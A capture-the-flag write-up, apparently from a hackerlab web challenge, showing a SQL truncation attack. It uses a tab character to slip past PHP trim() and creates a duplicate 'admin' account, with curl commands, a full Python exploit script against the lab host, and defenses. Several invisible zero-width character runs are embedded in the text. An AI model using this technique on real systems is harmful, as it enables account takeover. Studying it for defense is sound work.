← Back to Writeups
CUSTOMMediumWeb

Ограничения (Restrictions)

XESXOR9/10/20263 min read
#web#custom#medium#admin-account-impersonation#mysql-trailing-whitespace-remo#php-trim()-bypass-using-tab-ch#sql-truncation-attack-via-varc#linux

Ограничения (Restrictions)

Platform: hackerlab | Category: Web | Type: Challenge | Difficulty: Medium | OS: Linux | Author: XESXOR | Date: 2026-01-04 | Status: Solved Techniques: Admin account impersonation, MySQL trailing whitespace removal exploitation, PHP trim() bypass using tab character, SQL Truncation Attack via VARCHAR length limit

Summary

Task: Web application with login/registration form where admin user already exists. Solution: SQL Truncation Attack using tab character to bypass trim() and VARCHAR length limit, creating a duplicate admin account with our password.

Ограничения (Restrictions) — hackerlab

Description

"Остерегайся того, к чему тебя так сильно влечет"

URL: http://62.173.140.174:16026/ Difficulty: medium (700 points)

Reconnaissance

  1. Server: Apache with PHP (PHPSESSID cookie)
  2. Functionality: Login and registration form at /auth.php
  3. Behavior: After logging in as a regular user, shows "You're not admin!"
  4. Key observation: User "admin" already exists in the system

Vulnerability Analysis

The task name "Ограничения" (Restrictions) — hints at SQL Truncation Attack (string length restrictions in DB). ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Discovering trim()

When passing an array instead of a string, we got an error:

Fatal error: trim(): Argument #1 ($string) must be of type string, array given in /var/www/html/auth.php:7

This revealed:

  • The trim() function is used, which removes whitespace from edges
  • But trim() does NOT remove tabs in the middle of the string!

Exploitation — SQL Truncation Attack

Step 1: Registration with tab character

Register a user with the name admin<TAB>x:

bash
# %09 = tab character
curl -X POST http://62.173.140.174:16026/auth.php \
  --data-urlencode "username=admin	x" \
  -d "password=hackpass&signup=Sign+Up"

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Step 2: What happens in the DB

  1. PHP trim() removes whitespace from edges, but tab in the middle is preserved
  2. When checking if user exists, it searches for admin\tx — not found
  3. On INSERT into MySQL, the string is truncated to field length (e.g., VARCHAR(5))
  4. MySQL removes trailing whitespace (including tab)
  5. Result: a record is created with username=admin and our password!

Step 3: Login as admin

bash
curl -c cookies.txt -X POST http://62.173.140.174:16026/auth.php \
  -d "username=admin&password=hackpass&login=Login" -L

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Step 4: Getting the flag

After successfully logging in as admin, we get the flag on the main page.

Why This Works

Registration:
  Input:    "admin\tx"
  trim():   "admin\tx"     (tab in the middle is preserved)
  EXISTS?:  "admin\tx"     (not found - OK for registration)
  INSERT:   "admin\tx"     → VARCHAR(5) → "admin" (truncated + trailing removed)

Login:
  Input:    "admin"
  SELECT:   WHERE username = "admin"  → finds our record!

Solution (full script)

python
#!/usr/bin/env python3
"""SQL Truncation Attack - Ограничения"""
‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

import requests

BASE = "http://62.173.140.174:16026"
s = requests.Session()

# Register admin + tab + x
s.post(f"{BASE}/auth.php", data={
    "username": "admin\tx",  # tab character
    "password": "hackpass",
    "signup": "Sign Up"
})

# Login as admin
r = s.post(f"{BASE}/auth.php", data={
    "username": "admin",
    "password": "hackpass",
    "login": "Login"
}, allow_redirects=True)

# Flag on main page
r = s.get(BASE)
print(r.text)

Key Indicators for SQL Truncation Attack

Use this technique when:

  • There is a registration form with user existence check
  • MySQL/MariaDB backend with VARCHAR fields
  • Need to create a duplicate of an existing user (especially admin)
  • PHP uses trim() for input sanitization
  • Task name hints at "restrictions", "limits", "length" ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Defense

  1. Use UNIQUE constraint at the DB level
  2. Check string length BEFORE insertion
  3. Use CHAR_LENGTH() in SQL queries
  4. Normalize whitespace (replace all whitespace with spaces)
  5. Use prepared statements with explicit length validation

References